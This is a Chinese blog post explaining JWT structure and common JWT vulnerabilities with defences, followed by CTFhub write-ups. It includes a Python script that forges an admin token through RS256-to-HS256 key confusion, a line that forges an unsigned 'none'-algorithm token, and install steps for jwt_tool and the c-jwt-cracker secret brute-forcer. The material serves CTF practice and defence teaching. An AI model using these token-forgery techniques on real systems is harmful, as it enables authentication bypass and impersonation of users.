不懂JWT渗透防御，你敢说自己懂网络安全？

安全瞭望Sec

已于 2025-03-10 13:44:25 修改

阅读量817

点赞数 35

分类专栏：网络安全文章标签：网络安全 web安全

于 2025-03-10 01:04:14 首次发布

本文链接：https://blog.youkuaiyun.com/w11111111152/article/details/146113889

版权

网络安全专栏收录该内容

31 篇文章

订阅专栏

免责声明：用户因使用公众号内容而产生的任何行为和后果，由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任

一：JWT原理

JWT（JSON Web Token）是一种用于在网络应用间安全传递信息的开放标准（RFC 7519）。它通常用于身份验证和信息交换，由三部分组成：头部（Header）、载荷（Payload）和签名（Signature）。尽管JWT设计上是安全的，但在实际应用中，如果配置不当或实现有误，可能会导致安全漏洞。以下是一些常见的JWT漏洞及其介绍：

签名是为了验证消息在传递过程中没有被篡改。它是通过将头部和载荷部分的内容，使用头部中指定的签名算法，再结合一个密钥（secret key）来生成的。

例如，如果头部的算法是 HS256，密钥是一个保密的字符串，那么签名就是通过将 Base64Url 编码后的头部和载荷以及密钥，按照 HS256 算法进行计算得到的。这个签名是 JWT 的第三部分，它确保了 JWT 的完整性和真实性。

JWT（JSON Web Token）是一种开放标准（RFC 7519），用于在网络应用间安全地传递信息。它通常用于身份验证和信息交换，具有紧凑、自包含和可验证的特点。JWT的工作原理可以分为三个主要部分：结构、生成和验证。

1. JWT的结构

JWT由三部分组成，用点（.）分隔：

Header（头部）
Payload（载荷）
Signature（签名）

格式如下：

Header.Payload.Signature

（1）Header（头部）

头部通常包含两部分信息：

算法（alg）：用于生成签名的算法，如HMAC SHA256（HS256）或RSA SHA256（RS256）。
类型（typ）：令牌类型，通常是JWT。

示例：

{ "alg": "HS256", "typ": "JWT" }

头部经过Base64Url编码后形成JWT的第一部分。

（2）Payload（载荷）

载荷包含需要传递的声明（claims）。声明分为三类：

注册声明（Registered Claims）：预定义的声明，如：
- iss（Issuer）：签发者。
- sub（Subject）：主题。
- aud（Audience）：接收者。
- exp（Expiration Time）：过期时间。
- nbf（Not Before）：生效时间。
- iat（Issued At）：签发时间。
公共声明（Public Claims）：可以自定义的声明，但为了避免冲突，应使用IANA注册的声明名称。
私有声明（Private Claims）：自定义的声明，用于在双方之间传递信息。

示例：

{ "sub": "1234567890", "name": "John Doe", "admin": true, "iat": 1516239022 }

载荷经过Base64Url编码后形成JWT的第二部分。

（3）Signature（签名）

签名用于验证JWT的真实性和完整性。签名的生成方式如下：

将编码后的头部和载荷用点（.）连接起来。
使用头部中指定的算法（如HS256）和密钥对连接后的字符串进行签名。

示例（使用HMAC SHA256算法）：

HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )

签名经过Base64Url编码后形成JWT的第三部分。

2. JWT的生成

JWT的生成过程如下：

定义头部和载荷。
将头部和载荷分别进行Base64Url编码。
使用指定的算法和密钥对编码后的头部和载荷进行签名。
将编码后的头部、载荷和签名用点（.）连接起来，形成最终的JWT。

示例：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

3. JWT的验证

JWT的验证过程如下：

解码头部和载荷：将JWT的头部和载荷部分解码，获取原始信息。
验证签名：
- 使用头部中指定的算法和密钥对头部和载荷重新生成签名。
- 将生成的签名与JWT中的签名部分进行比较，确保一致。
验证声明：
- 检查exp（过期时间）和nbf（生效时间）是否有效。
- 检查iss（签发者）和aud（接收者）是否符合预期。
- 检查其他自定义声明是否满足业务需求。

如果签名验证通过且声明有效，则JWT被认为是合法的。

4. JWT的工作流程

JWT通常用于身份验证和信息交换，其典型工作流程如下：

用户登录：
- 用户提供凭据（如用户名和密码）。
- 服务器验证凭据，生成JWT并返回给客户端。
客户端存储JWT：
- 客户端将JWT存储在本地（如LocalStorage、Cookie或内存中）。
客户端发送JWT：
- 客户端在后续请求中将JWT放在Authorization头中发送给服务器。
- 示例：Authorization: Bearer <JWT>
服务器验证JWT：
- 服务器接收到JWT后，验证其签名和声明。
- 如果验证通过，服务器处理请求并返回响应。

5. JWT的优点

无状态：JWT是自包含的，服务器无需存储会话信息。
跨域支持：JWT可以轻松用于跨域场景。
灵活性：可以在JWT中存储任意信息，适用于多种场景。
安全性：通过签名和加密机制，确保信息的完整性和保密性。

6. JWT的缺点

无法撤销：一旦签发，JWT在有效期内无法被撤销（除非使用黑名单机制）。
信息泄露风险：如果未加密，JWT的载荷可以被解码，泄露敏感信息。
存储问题：JWT存储在客户端，可能被XSS攻击窃取。

二.JWT漏洞攻防

1. 弱签名算法（案例三）

问题描述：JWT支持多种签名算法，如HMAC、RSA、ECDSA等。如果使用弱签名算法（如none算法），攻击者可以篡改JWT内容而不被检测到。
漏洞利用：攻击者可以将JWT的签名算法改为none，并删除签名部分，从而绕过验证。
防御措施：确保使用强签名算法（如HS256、RS256），并在验证JWT时明确拒绝none算法。

2. 弱密钥（案例二）

示例: 使用HS256（HMAC SHA-256）以外的弱算法，如HS1或none（无签名）。
问题: 弱加密算法容易被破解，尤其是none算法，它根本不进行签名验证，攻击者可以轻松篡改JWT

3. 未验证签名（案例一）

问题描述：某些应用在接收到JWT后，未验证其签名或验证不严格，导致攻击者可以篡改JWT内容。
漏洞利用：攻击者可以修改JWT的载荷部分（如用户ID、角色等），提升权限或冒充其他用户。
防御措施：在接收到JWT后，必须严格验证其签名，确保其未被篡改。

4. 信息泄露

问题描述：JWT的载荷部分通常包含用户信息，如果未加密，攻击者可以解码JWT并获取敏感信息。
漏洞利用：攻击者可以解码JWT，获取用户的身份信息、权限等。
防御措施：对于敏感信息，建议使用JWE（JSON Web Encryption）对JWT进行加密，或避免在JWT中存储敏感信息。

5. 重放攻击

问题描述：如果JWT没有设置有效期或有效期过长，攻击者可以捕获并重复使用旧的JWT进行身份验证。
漏洞利用：攻击者捕获有效的JWT，并在其过期前重复使用。
防御措施：为JWT设置合理的有效期（exp字段），并使用一次性令牌或会话管理机制防止重放攻击。

6. 跨服务攻击

问题描述：如果多个服务使用相同的JWT密钥，攻击者在一个服务上获取的JWT可以在其他服务上使用。
漏洞利用：攻击者在一个服务上获取JWT后，可以在其他服务上冒充用户。
防御措施：为不同的服务使用不同的JWT密钥，或使用服务特定的声明（如aud字段）来限制JWT的使用范围。

7. 密钥混淆攻击

问题描述：如果应用支持多种签名算法（如HS256和RS256），攻击者可能通过混淆算法来绕过验证。
漏洞利用：攻击者将JWT的签名算法从RS256改为HS256，并使用公钥作为HMAC密钥来伪造签名。
防御措施：在验证JWT时，确保使用预期的签名算法，并避免支持多种算法。

8. 未设置`exp`或`nbf`

问题描述：如果JWT未设置过期时间（exp）或生效时间（nbf），攻击者可以长期使用该JWT。
漏洞利用：攻击者可以无限期使用未过期的JWT。
防御措施：为JWT设置合理的exp和nbf字段，确保其在一定时间内有效。

9. JWT注入

问题描述：如果应用在处理JWT时未进行严格的输入验证，攻击者可能通过注入恶意内容来破坏应用逻辑。
漏洞利用：攻击者在JWT中注入恶意数据，导致应用行为异常。
防御措施：在处理JWT时，进行严格的输入验证和过滤，确保其内容符合预期。

10. JWT存储不当

问题描述：如果JWT存储在客户端不安全的位置（如LocalStorage），攻击者可能通过XSS攻击窃取JWT。
漏洞利用：攻击者通过XSS漏洞获取JWT，并冒充用户。
防御措施：将JWT存储在安全的HttpOnly Cookie中，并启用Secure和SameSite属性，防止XSS攻击。

案例一：CTFhub题目---无签名

打开发现提示只有管理员可以获取flag

所以我们可以利用kali虚拟机中的jwt_tool（安装方法至于后文）

encoded=jwt.encode({"username":"admin","password":"admin","role":"admin"},'',algorithm='none')

Encoded

来修改token

然后将新token粘贴后就可以得到pyload，替换原有token就可以

或使用拼接法

案例二：CTFhub--弱秘钥

根据题目信息我们采用爆破秘钥获取flag

我们需要获取秘钥，通过jwtcrack获取到秘钥（c-jwt-crack安装方法在后文！！）

通过下面网站获取新的token

可到flag

案例三：CTFhub--修改签名算法

点开页面发现源代码和公钥

利用bp抓包对其token解密

发现其加密算法为非对称加密算法

我们根据题目提示“有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时，有时攻击者可以获取到公钥，此时可通过修改JWT头部的签名算法，将非对称密码算法改为对称密码算法，从而达到攻击者目的”得知可以通过公钥修改签名算法，但如何修改呢？我们审计源代码，从源代码得知如果想输出flag就的为get请求且token正确，role字段为admin。在源代码中有

JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false

我们发现在 JWTHelper类中，decode()、encode()默认的加密解密方式都为“HS256”，所以我们可以这样修改其签名算法。首先利用公钥对token解码，然后修改role为admin，将公钥放置于token后在利用HS256对其加密

通过脚本实现（与公钥放于同一目录下运行）

# coding=GBK
import hmac
import hashlib
import base64

file = open('publickey.pem')    #需要将文中的publickey下载	与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)

利用脚本运行后替换原有token

修改成功

成功找到flag

一.jwt_tool安装

下载

git clone https://github.com/ticarpi/jwt_tool

安装 pycryptodomex 库的命令

pip install pycryptodomex

cd到安装目录

启动

python3 jwt_tool.py

二.c-jwt-cracker安装

下载安装包放到kali中

GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

解压安装包

unzip c-jwt-cracker-master.zip

安装gcc编译器

sudo apt install gcc

安装make

sudo apt install make

启动成功

总结

JWT（JSON Web Token）是一种用于安全传输信息的开放标准，通常用于身份验证和授权。它将用户信息编码为JSON格式，并通过签名确保数据的完整性和安全性。JWT由三部分组成：头部、载荷和签名。头部包含算法信息，载荷存储用户数据，签名用于验证令牌的真实性。JWT的优点包括无状态、跨域支持和易于扩展，广泛应用于Web应用和API中。然而，开发者需注意其安全性，避免敏感信息泄露和令牌劫持，本文案例有限，还需经过各种靶场和实战才能真正掌握JWT。

（需要源代码联系博主免费领取！！还希望多多关注点赞支持，你的支持就是我的最大动力！！！）